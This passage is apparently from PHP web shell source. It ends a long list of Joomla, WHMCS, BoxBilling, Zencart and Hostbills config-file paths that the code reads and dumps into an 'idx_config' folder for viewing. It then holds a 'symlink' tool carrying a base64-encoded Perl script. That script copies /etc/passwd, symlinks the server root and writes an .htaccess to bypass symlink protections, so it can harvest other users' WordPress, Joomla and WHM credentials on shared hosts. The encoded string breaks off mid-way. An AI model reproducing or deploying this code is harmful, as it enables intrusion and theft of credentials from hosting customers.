"{$user_docroot}/demo/configuration.php" => "Joomla", "{$user_docroot}/test/configuration.php" => "Joomla", "{$user_docroot}/v1/configuration.php" => "Joomla", "{$user_docroot}/v2/configuration.php" => "Joomla", "{$user_docroot}/joomla/configuration.php" => "Joomla", "{$user_docroot}/new/configuration.php" => "Joomla", "{$user_docroot}/WHMCS/submitticket.php" => "WHMCS", "{$user_docroot}/whmcs1/submitticket.php" => "WHMCS", "{$user_docroot}/Whmcs/submitticket.php" => "WHMCS", "{$user_docroot}/whmcs/submitticket.php" => "WHMCS", "{$user_docroot}/whmcs/submitticket.php" => "WHMCS", "{$user_docroot}/WHMC/submitticket.php" => "WHMCS", "{$user_docroot}/Whmc/submitticket.php" => "WHMCS", "{$user_docroot}/whmc/submitticket.php" => "WHMCS", "{$user_docroot}/WHM/submitticket.php" => "WHMCS", "{$user_docroot}/Whm/submitticket.php" => "WHMCS", "{$user_docroot}/whm/submitticket.php" => "WHMCS", "{$user_docroot}/HOST/submitticket.php" => "WHMCS", "{$user_docroot}/Host/submitticket.php" => "WHMCS", "{$user_docroot}/host/submitticket.php" => "WHMCS", "{$user_docroot}/SUPPORTES/submitticket.php" => "WHMCS", "{$user_docroot}/Supportes/submitticket.php" => "WHMCS", "{$user_docroot}/supportes/submitticket.php" => "WHMCS", "{$user_docroot}/domains/submitticket.php" => "WHMCS", "{$user_docroot}/domain/submitticket.php" => "WHMCS", "{$user_docroot}/Hosting/submitticket.php" => "WHMCS", "{$user_docroot}/HOSTING/submitticket.php" => "WHMCS", "{$user_docroot}/hosting/submitticket.php" => "WHMCS", "{$user_docroot}/CART/submitticket.php" => "WHMCS", "{$user_docroot}/Cart/submitticket.php" => "WHMCS", "{$user_docroot}/cart/submitticket.php" => "WHMCS", "{$user_docroot}/ORDER/submitticket.php" => "WHMCS", "{$user_docroot}/Order/submitticket.php" => "WHMCS", "{$user_docroot}/order/submitticket.php" => "WHMCS", "{$user_docroot}/CLIENT/submitticket.php" => "WHMCS", "{$user_docroot}/Client/submitticket.php" => "WHMCS", "{$user_docroot}/client/submitticket.php" => "WHMCS", "{$user_docroot}/CLIENTAREA/submitticket.php" => "WHMCS", "{$user_docroot}/Clientarea/submitticket.php" => "WHMCS", "{$user_docroot}/clientarea/submitticket.php" => "WHMCS", "{$user_docroot}/SUPPORT/submitticket.php" => "WHMCS", "{$user_docroot}/Support/submitticket.php" => "WHMCS", "{$user_docroot}/support/submitticket.php" => "WHMCS", "{$user_docroot}/BILLING/submitticket.php" => "WHMCS", "{$user_docroot}/Billing/submitticket.php" => "WHMCS", "{$user_docroot}/billing/submitticket.php" => "WHMCS", "{$user_docroot}/BUY/submitticket.php" => "WHMCS", "{$user_docroot}/Buy/submitticket.php" => "WHMCS", "{$user_docroot}/buy/submitticket.php" => "WHMCS", "{$user_docroot}/MANAGE/submitticket.php" => "WHMCS", "{$user_docroot}/Manage/submitticket.php" => "WHMCS", "{$user_docroot}/manage/submitticket.php" => "WHMCS", "{$user_docroot}/CLIENTSUPPORT/submitticket.php" => "WHMCS", "{$user_docroot}/ClientSupport/submitticket.php" => "WHMCS", "{$user_docroot}/Clientsupport/submitticket.php" => "WHMCS", "{$user_docroot}/clientsupport/submitticket.php" => "WHMCS", "{$user_docroot}/CHECKOUT/submitticket.php" => "WHMCS", "{$user_docroot}/Checkout/submitticket.php" => "WHMCS", "{$user_docroot}/checkout/submitticket.php" => "WHMCS", "{$user_docroot}/BILLINGS/submitticket.php" => "WHMCS", "{$user_docroot}/Billings/submitticket.php" => "WHMCS", "{$user_docroot}/billings/submitticket.php" => "WHMCS", "{$user_docroot}/BASKET/submitticket.php" => "WHMCS", "{$user_docroot}/Basket/submitticket.php" => "WHMCS", "{$user_docroot}/basket/submitticket.php" => "WHMCS", "{$user_docroot}/SECURE/submitticket.php" => "WHMCS", "{$user_docroot}/Secure/submitticket.php" => "WHMCS", "{$user_docroot}/secure/submitticket.php" => "WHMCS", "{$user_docroot}/SALES/submitticket.php" => "WHMCS", "{$user_docroot}/Sales/submitticket.php" => "WHMCS", "{$user_docroot}/sales/submitticket.php" => "WHMCS", "{$user_docroot}/BILL/submitticket.php" => "WHMCS", "{$user_docroot}/Bill/submitticket.php" => "WHMCS", "{$user_docroot}/bill/submitticket.php" => "WHMCS", "{$user_docroot}/PURCHASE/submitticket.php" => "WHMCS", "{$user_docroot}/Purchase/submitticket.php" => "WHMCS", "{$user_docroot}/purchase/submitticket.php" => "WHMCS", "{$user_docroot}/ACCOUNT/submitticket.php" => "WHMCS", "{$user_docroot}/Account/submitticket.php" => "WHMCS", "{$user_docroot}/account/submitticket.php" => "WHMCS", "{$user_docroot}/USER/submitticket.php" => "WHMCS", "{$user_docroot}/User/submitticket.php" => "WHMCS", "{$user_docroot}/user/submitticket.php" => "WHMCS", "{$user_docroot}/CLIENTS/submitticket.php" => "WHMCS", "{$user_docroot}/Clients/submitticket.php" => "WHMCS", "{$user_docroot}/clients/submitticket.php" => "WHMCS", "{$user_docroot}/BILLINGS/submitticket.php" => "WHMCS", "{$user_docroot}/Billings/submitticket.php" => "WHMCS", "{$user_docroot}/billings/submitticket.php" => "WHMCS", "{$user_docroot}/MY/submitticket.php" => "WHMCS", "{$user_docroot}/My/submitticket.php" => "WHMCS", "{$user_docroot}/my/submitticket.php" => "WHMCS", "{$user_docroot}/secure/whm/submitticket.php" => "WHMCS", "{$user_docroot}/secure/whmcs/submitticket.php" => "WHMCS", "{$user_docroot}/panel/submitticket.php" => "WHMCS", "{$user_docroot}/clientes/submitticket.php" => "WHMCS", "{$user_docroot}/cliente/submitticket.php" => "WHMCS", "{$user_docroot}/support/order/submitticket.php" => "WHMCS", "{$user_docroot}/bb-config.php" => "BoxBilling", "{$user_docroot}/boxbilling/bb-config.php" => "BoxBilling", "{$user_docroot}/box/bb-config.php" => "BoxBilling", "{$user_docroot}/host/bb-config.php" => "BoxBilling", "{$user_docroot}/Host/bb-config.php" => "BoxBilling", "{$user_docroot}/supportes/bb-config.php" => "BoxBilling", "{$user_docroot}/support/bb-config.php" => "BoxBilling", "{$user_docroot}/hosting/bb-config.php" => "BoxBilling", "{$user_docroot}/cart/bb-config.php" => "BoxBilling", "{$user_docroot}/order/bb-config.php" => "BoxBilling", "{$user_docroot}/client/bb-config.php" => "BoxBilling", "{$user_docroot}/clients/bb-config.php" => "BoxBilling", "{$user_docroot}/cliente/bb-config.php" => "BoxBilling", "{$user_docroot}/clientes/bb-config.php" => "BoxBilling", "{$user_docroot}/billing/bb-config.php" => "BoxBilling", "{$user_docroot}/billings/bb-config.php" => "BoxBilling", "{$user_docroot}/my/bb-config.php" => "BoxBilling", "{$user_docroot}/secure/bb-config.php" => "BoxBilling", "{$user_docroot}/support/order/bb-config.php" => "BoxBilling", "{$user_docroot}/includes/dist-configure.php" => "Zencart", "{$user_docroot}/zencart/includes/dist-configure.php" => "Zencart", "{$user_docroot}/products/includes/dist-configure.php" => "Zencart", "{$user_docroot}/cart/includes/dist-configure.php" => "Zencart", "{$user_docroot}/shop/includes/dist-configure.php" => "Zencart", "{$user_docroot}/includes/iso4217.php" => "Hostbills", "{$user_docroot}/hostbills/includes/iso4217.php" => "Hostbills", "{$user_docroot}/host/includes/iso4217.php" => "Hostbills", "{$user_docroot}/Host/includes/iso4217.php" => "Hostbills", "{$user_docroot}/supportes/includes/iso4217.php" => "Hostbills", "{$user_docroot}/support/includes/iso4217.php" => "Hostbills", "{$user_docroot}/hosting/includes/iso4217.php" => "Hostbills", "{$user_docroot}/cart/includes/iso4217.php" => "Hostbills", "{$user_docroot}/order/includes/iso4217.php" => "Hostbills", "{$user_docroot}/client/includes/iso4217.php" => "Hostbills", "{$user_docroot}/clients/includes/iso4217.php" => "Hostbills", "{$user_docroot}/cliente/includes/iso4217.php" => "Hostbills", "{$user_docroot}/clientes/includes/iso4217.php" => "Hostbills", "{$user_docroot}/billing/includes/iso4217.php" => "Hostbills", "{$user_docroot}/billings/includes/iso4217.php" => "Hostbills", "{$user_docroot}/my/includes/iso4217.php" => "Hostbills", "{$user_docroot}/secure/includes/iso4217.php" => "Hostbills", "{$user_docroot}/support/order/includes/iso4217.php" => "Hostbills");
                                    foreach ($getconfig as $config => $userconfig) {
                                        $get = file_get_contents($config);
                                        if ($get == '') {
                                        } else {
                                            $fopen = fopen("idx_config/{$user}-{$userconfig}.txt", "w");
                                            fputs($fopen, $get);
                                        }
                                    }
                                }
                            }
                        }
                        print "<div style='background: #ffffff; width: 100%; height: 100%'>";
                        print "<iframe src='http://" . $_SERVER['HTTP_HOST'] . "/" . $GLOBALS['FILEPATH'] . "/idx_config/' frameborder='0' scrolling='yes'><iframe>";
                        print "</div>";
                    } elseif ($toolsname === "symlink") {
                        if (!is_writable(path())) {
                            die(color(1, 1, "Directory '" . path() . "' is not writeable. Can't create directory 'idx_sym'."));
                        }
                        if (!is_dir(path() . "/idx_sym/")) {
                            $sym['code'] = "IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQojICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjIA0KIw0KIwkJTmFtZSA6IFBlcmwvQ0dJIENvbmZpZyBTeW1saW5rZXIgKFdpdGggQXV0byBCeXBhc3MgU3ltbGluayA0MDQpDQojCQlWZXJzaW9uIDogMS4yDQojCQlDcmVhdGVkIDogOSBNZWkgMjAxNw0KIwkJQXV0aG9yIDogMHgxOTk5DQojCQlUaGFua3MgVG8gOiAweElEaW90ICwgSW5kb25lc2lhbiBDb2RlIFBhcnR5ICwgSmF0aW00dQ0KIwkJTW9yZSBJbmZvIDogaHR0cDovLzB4RGFyay5ibG9nc3BvdC5jb20NCiMJCVdhbnQgdG8gcmVjb2RlID8gRG9uJ3QgZm9yZ2V0IG15IG5pY2sgbmFtZSAgOikNCiMJCWh0dHA6Ly9mYWNlYm9vay5jb20vbWVsZXguMWQNCiMJCQ0KIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyANCg0KdXNlIEZpbGU6OkNvcHk7DQp1c2Ugc3RyaWN0Ow0KdXNlIHdhcm5pbmdzOw0KdXNlIE1JTUU6OkJhc2U2NDsNCmNvcHkoIi9ldGMvcGFzc3dkIiwicGFzc3dkLnR4dCIpIDsNCm1rZGlyICJpZHhfc3ltIjsNCnN5bWxpbmsoIi8iLCJpZHhfc3ltL3Jvb3QiKTsNCm15ICRmaWxlbmFtZSA9ICdwYXNzd2QudHh0JzsNCm15ICRodGFjY2VzcyA9IGRlY29kZV9iYXNlNjQoIlQzQjBhVzl1Y3lCSmJtUmxlR1Z6SUVadmJHeHZkMU41YlV4cGJtdHpEUXBFYVhKbFkzUnZjbmxKYm1SbGVDQnBibVJ2ZUhCc2IybDBMbWgwYlEwS1FXUmtWSGx3WlNCMFpYaDBMM0JzWVdsdUlDNXdhSEFnRFFwQlpHUklZVzVrYkdWeUlIUmxlSFF2Y0d4aGFXNGdMbkJvY0EwS1UyRjBhWE5tZVNCQmJua05Da2x1WkdWNFQzQjBhVzl1Y3lBclEyaGhjbk5sZEQxVlZFWXRPQ0FyUm1GdVkzbEpibVJsZUdsdVp5QXJTV2R1YjNKbFEyRnpaU0FyUm05c1pHVnljMFpwY25OMElDdFlTRlJOVENBclNGUk5URlJoWW14bElDdFRkWEJ3Y21WemMxSjFiR1Z6SUN0VGRYQndjbVZ6YzBSbGMyTnlhWEIwYVc5dUlDdE9ZVzFsVjJsa2RHZzlLaUFOQ2tGa1pFbGpiMjRnSjJSaGRHRTZhVzFoWjJVdmNHNW5PMkpoYzJVMk5DeHBWa0pQVW5jd1MwZG5iMEZCUVVGT1UxVm9SVlZuUVVGQlFrRkJRVUZCVVVOQldVRkJRVUZtT0M4NWFFRkJRVUZDU0U1RFUxWlJTVU5CWjBsbVFXaHJhVUZCUVVGQmJIZFRSbXg2UVVGQlRqRjNRVUZFWkdOQ1VXbHBZbVZCUVVGQlFtd3dVbFpvTUZVeU9XMWtTR1JvWTIxVlFXUXpaRE5NYld4MVlUTk9hbGxZUW14TWJUbDVXalYyZFZCQ2IwRkJRVVpWVTFWU1FsWkVhVTV3V2tzNVUyZE9Ra1pKV0ZCMldFNXVaR3BqVW05d1dEUlZOR3RYVm5JMVFVTm9WVGRJT0VKVFprbDBRVWhyUWpsRFdITnlWekJIZDBWUmRGSjNWa3ROVW5SQlZUaGFZMWxYWVU1dFRUSlBlSEY1ZVdsWldtUmpSMGxoV2pSYU56ZE5aV1ZSWTNjMlJFWkJMMVZFVlVGQldVaElhamhvVDBGVWFqbHZVbE5sTWxveFpqSkxhbEF4Wm1kTWEyNU5VRk0xYkZjd1ZtazBjRnB2Y0haSVdFUlhLMGxvVDNJNU9XZFlWSHByY2pseGRsUkNUWFJ5VG1RNFFYTk1WbU52YlZwTFJGQTJNV3RGVEdsb1IwbEtPVkZDWjA4eWFtUnpTVVV2U21JMVQyRmpSMFpCZDBSUlJXVk5SVTlhYm1neFJYRk5RMmgwVTBJNFlUWTBRbGN5VFU1b04xRldhV2hEUjB0alRraHpkMjFhTUd4QmExbEllRVkwVVdoQ1VFTkxTVmxTVlRsc05qQTFTMjFIUTBWSlZWbDZkRU5aVFVKbWEwVnFSMW8wVDJsSWQxSlJSaXQyYTFGSEszQjBRVU5KUmxKRlNsWlFVVUYyUm1ZclFuSnFiM2xSSzBOYVpuRnhNVEU0UkZKR1JXaHFaV0ppWW1Wc05tUkhhWGxVY1dZcmRsTnlhMkZTVVM4d2RYUk1OMjFJV0d3NWRuRXJaVkF6Vlc1aWFDOUlOV2RFUzJsUFJqWTNXV1ZpV1RCa1UwcGpVa0p0TUhveWNrWnNNbmxYY0RoQlZrUkpWek15WkdFM2NFeEJRVUZCUVVWc1JsUnJVM1ZSYlVOREp5QmVYa1JKVWtWRFZFOVNXVjVlRFFwRVpXWmhkV3gwU1dOdmJpQW5aR0YwWVRwcGJXRm5aUzl3Ym1jN1ltRnpaVFkwTEdsV1FrOVNkekJMUjJkdlFVRkJRVTVUVldoRlZXZEJRVUZDUVVGQlFVRlJRMEZaUVVGQlFXWTRMemxvUVVGQlFVRllUbE5TTUVsQmNuTTBZelpSUVVGQlFWcHBVekJrUlVGUU9FRXZkMFF2YjB3eWJtdDNRVUZCUVd4M1UwWnNla0ZCUVV4RmQwRkJRM2hOUWtGS2NXTkhRVUZCUVVGa01GTlZNVVpDT1c5S1FtaGpWRXAyTWtJeVpEUkJRVUZLVFZOVlVrSldSR3BNWWxwUE9WUm9lRnBGU1ZjdmNXeDJaSFJOTXpoQ1RtZEtVVzFSWjBwSFpDdEJMMDFSUWt4M1IycHBkMGd6Ym5ka2ExTk1kRTh5ZUVWU1J6Vk1jWGhZVWxOSlVqSlpSR1pFTkVkclIwMHdVRE55WWpSaU9WQkJlakJzTjNCVGJGZHNWekJtYm01TWIyeEJTVkJDTkZCWWFEUmxSblZ1ZFdOQlNVbE1kMlJGVTJWYWVVRnBabTV3Tml0MU9XOU9URzh6WjAwelRucFVaRWhTS3k4dmVuWktUWHBUZVVwTFMyOWthVWxuT0VGWVlYaGxTWG94WWtSYU4wMTRjVTVtZEdkVFZWSkVWM2szVEZWdVdqQmtXVzE0UVVaQlZrVnNTVFpCUlVONVowbHpVVkZ6YVhwTVFrOUJRa0ZFVDJwTFFYQnhhRGQxTjBkdlExVlhhWGRaWW1WMGIxVkljbkpRWTNkRGNXOUdNa3RWWlZoTWVrVjZRbll3SzNWUmJWTklUVVZhT1VZMlUxcGpjalpwTkVselFrOWhMMkkzU0ZGTllVaDBTVUYzWjB4a1NHRnNSRUV4WlhZd1pWRmlVMnB5UlhKUmQwcHdjVVkwWlVGNEwyaHZjVVF4TXpKdFRXdEtjbWsxZFZOUGJFWm9SV2h3VlZGSmFXOXFkMkZ0VDBST2MyeHFabFZYUTNGd1RHNVBZV0ZEVTB0S2RHNWhRa056V2xscVFXeHNiVmhKTkhaaFpXOWhWbGd3WTJKVFpHaHRWVkl6ZWtGTGRrNXFXVFpXYVc5dk1IUlhlbWRGYjI1TFlsY3JTMnRIVjNRelZXNTBNRU5sUjJaS2N6bG5LMVZWTUhKRlIwaElMMGgzTDAxcVNEWXZWQ3RRVDJSR2IxSk9TME5vVFRJeWVHMVBVR1Z6Y0dwUVIxRTJTSEJPVVRJM2REWnpRVU5FVTA1aGJubHZiR3BFVEVWa1ZtRkdUMHhsT0ZwclZXcExOWFZyY1ROME56bHNVRU0zTDA5RWF6VkhZU3RaTms4MVRYRjViVTUzTTFZeGVUTm9lWHBtV0RCb2NYWktUSGxpV0Vaa0t5dG1NbVF6WkRCa2JYTXJjWFpuTkU5RWVqaG1TSGd3TDB4elltVXpPVFkwYzFNM0t6UjFSV3AxYm5CeGJWTmxObVV6UkROT05TOU9NRmRhWW5Sc2VUbG1NRGx1V2pKYUwySXlPWFl5Wmt4RlpYWjJTemx4ZGpkak1uUnZTMms0VldscFVXbHhTR0p0Tm5KcFZ6WmhNVE5tYml0NmRqY3pLMjl4YjNKb1kweG5TMVZHV0ZaUUsyWnVOVElyVEc5dWFqaEpURW93VURoYVNVTkRSamt2VUZSd1EyeG9jRUoyWjFCbGJHOU1PVlUxTlU1SlFVRkJRVUZCVTFWV1QxSkxOVU5aU1VrOUp3MEtTVzVrWlhoSloyNXZjbVVnS2k1MGVIUTBNRFFOQ2tsdVpHVjRVM1I1YkdWVGFHVmxkQ0FuYUhSMGNEb3ZMMlYyWlc1MExtbHVaRzk0Y0d4dmFYUXViM0l1YVdRdmMzbHRiR2x1YXk1amMzTW5EUXBTWlhkeWFYUmxSVzVuYVc1bElFOXVEUXBTWlhkeWFYUmxRMjl1WkNBbGUxSkZVVlZGVTFSZlJrbE1SVTVCVFVWOUlGNHVLakI0YzNsdE5EQTBJRnRPUTEwTkNsSmxkM0pwZEdWU2RXeGxJRnd1ZEhoMEpDQWxlMUpGVVZWRlUxUmZWVkpKZlRRd05DQmJUQ3hTUFRNd01pNU9RMTA9Iik7DQpteSAkc3ltID0gZGVjb2RlX2Jhc2U2NCgiVDNCMGFXOXVjeUJKYm1SbGVHVnpJRVp2Ykd4dmQxTjViVXhwYm10ekRRcEVhWEpsWTNSdmNubEpibVJsZUNCcGJtUnZlSEJzYjJsMExtaDBiUTBLU0dWaFpHVnlUbUZ0WlNBd2VERTVPVGt1ZEhoMERRcFRZWFJwYzJaNUlFRnVlUTBLU1c1a1pYaFBjSFJwYjI1eklFbG5ibTl5WlVOaGMyVWdSbUZ1WTNsSmJtUmxlR2x1WnlCR2IyeGtaWEp6Um1seWMzUWdUbUZ0WlZkcFpIUm9QU29nUkdWelkzSnBjSFJwYjI1WGFXUjBhRDBxSUZOMWNIQnlaWE56U0ZSTlRGQnlaV0Z0WW14bERRcEpibVJsZUVsbmJtOXlaU0FxRFFwSmJtUmxlRk4wZVd4bFUyaGxaWFFnSjJoMGRIQTZMeTlsZG1WdWRDNXBibVJ2ZUhCc2IybDBMbTl5TG1sa0wzTjViV3hwYm1zdVkzTnpKdz09Iik7DQpvcGVuKG15ICRmaDEsICc+JywgJ2lkeF9zeW0vLmh0YWNjZXNzJyk7DQpwcmludCAkZmgxICIkaHRhY2Nlc3MiOw0KY2xvc2UgJGZoMTsNCm9wZW4obXkgJHh4LCAnPicsICdpZHhfc3ltL25lbXUudHh0Jyk7DQpwcmludCAkeHggIiRzeW0iOw0KY2xvc2UgJHh4Ow0Kb3BlbihteSAkZmgsICc8OmVuY29kaW5nKFVURi04KScsICRmaWxlbmFtZSk7DQp3aGlsZSAobXkgJHJvdyA9IDwkZmg+KSB7DQpteSBAbWF0Y2hlcyA9ICRyb3cgPX4gLyguKj8pOng6L2c7DQpteSAkdXNlcm55YSA9ICQxOw0KbXkgQGFycmF5ID0gKA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy8uYWNjZXNzaGFzaCcsIHR5cGUgPT4gJ1dITS1hY2Nlc3NoYXNoJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9jb25maWcva29uZWtzaS5waHAnLCB0eXBlID0+ICdMb2tvbWVkaWEnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2NvbmZpZy9zZXR0aW5ncy5pbmMucGhwJywgdHlwZSA9PiAnUHJlc3RhU2hvcCcgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvYXBwL2V0Yy9sb2NhbC54bWwnLCB0eXBlID0+ICdNYWdlbnRvJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25maWcucGhwJywgdHlwZSA9PiAnT3BlbkNhcnQnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2FwcGxpY2F0aW9uL2NvbmZpZy9kYXRhYmFzZS5waHAnLCB0eXBlID0+ICdFbGxpc2xhYicgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvd3AtY29uZmlnLnBocCcsIHR5cGUgPT4gJ1dvcmRwcmVzcycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvd3AvdGVzdC93cC1jb25maWcucGhwJywgdHlwZSA9PiAnV29yZHByZXNzJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9ibG9nL3dwLWNvbmZpZy5waHAnLCB0eXBlID0+ICdXb3JkcHJlc3MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2JldGEvd3AtY29uZmlnLnBocCcsIHR5cGUgPT4gJ1dvcmRwcmVzcycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvcG9ydGFsL3dwLWNvbmZpZy5waHAnLCB0eXBlID0+ICdXb3JkcHJlc3MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3NpdGUvd3AtY29uZmlnLnBocCcsIHR5cGUgPT4gJ1dvcmRwcmVzcycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvd3Avd3AtY29uZmlnLnBocCcsIHR5cGUgPT4gJ1dvcmRwcmVzcycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvV1Avd3AtY29uZmlnLnBocCcsIHR5cGUgPT4gJ1dvcmRwcmVzcycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvbmV3cy93cC1jb25maWcucGhwJywgdHlwZSA9PiAnV29yZHByZXNzJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC93b3JkcHJlc3Mvd3AtY29uZmlnLnBocCcsIHR5cGUgPT4gJ1dvcmRwcmVzcycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvdGVzdC93cC1jb25maWcucGhwJywgdHlwZSA9PiAnV29yZHByZXNzJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9kZW1vL3dwLWNvbmZpZy5waHAnLCB0eXBlID0+ICdXb3JkcHJlc3MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2hvbWUvd3AtY29uZmlnLnBocCcsIHR5cGUgPT4gJ1dvcmRwcmVzcycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvdjEvd3AtY29uZmlnLnBocCcsIHR5cGUgPT4gJ1dvcmRwcmVzcycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvdjIvd3AtY29uZmlnLnBocCcsIHR5cGUgPT4gJ1dvcmRwcmVzcycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvcHJlc3Mvd3AtY29uZmlnLnBocCcsIHR5cGUgPT4gJ1dvcmRwcmVzcycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvbmV3L3dwLWNvbmZpZy5waHAnLCB0eXBlID0+ICdXb3JkcHJlc3MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2Jsb2dzL3dwLWNvbmZpZy5waHAnLCB0eXBlID0+ICdXb3JkcHJlc3MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwJywgdHlwZSA9PiAnSm9vbWxhJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9ibG9nL2NvbmZpZ3VyYXRpb24ucGhwJywgdHlwZSA9PiAnSm9vbWxhJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnXldITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9jbXMvY29uZmlndXJhdGlvbi5waHAnLCB0eXBlID0+ICdKb29tbGEnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2JldGEvY29uZmlndXJhdGlvbi5waHAnLCB0eXBlID0+ICdKb29tbGEnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3BvcnRhbC9jb25maWd1cmF0aW9uLnBocCcsIHR5cGUgPT4gJ0pvb21sYScgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvc2l0ZS9jb25maWd1cmF0aW9uLnBocCcsIHR5cGUgPT4gJ0pvb21sYScgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvbWFpbi9jb25maWd1cmF0aW9uLnBocCcsIHR5cGUgPT4gJ0pvb21sYScgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvaG9tZS9jb25maWd1cmF0aW9uLnBocCcsIHR5cGUgPT4gJ0pvb21sYScgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvZGVtby9jb25maWd1cmF0aW9uLnBocCcsIHR5cGUgPT4gJ0pvb21sYScgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvdGVzdC9jb25maWd1cmF0aW9uLnBocCcsIHR5cGUgPT4gJ0pvb21sYScgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvdjEvY29uZmlndXJhdGlvbi5waHAnLCB0eXBlID0+ICdKb29tbGEnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3YyL2NvbmZpZ3VyYXRpb24ucGhwJywgdHlwZSA9PiAnSm9vbWxhJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9qb29tbGEvY29uZmlndXJhdGlvbi5waHAnLCB0eXBlID0+ICdKb29tbGEnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL25ldy9jb25maWd1cmF0aW9uLnBocCcsIHR5cGUgPT4gJ0pvb21sYScgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvV0hNQ1Mvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC93aG1jczEvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9XaG1jcy9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1Y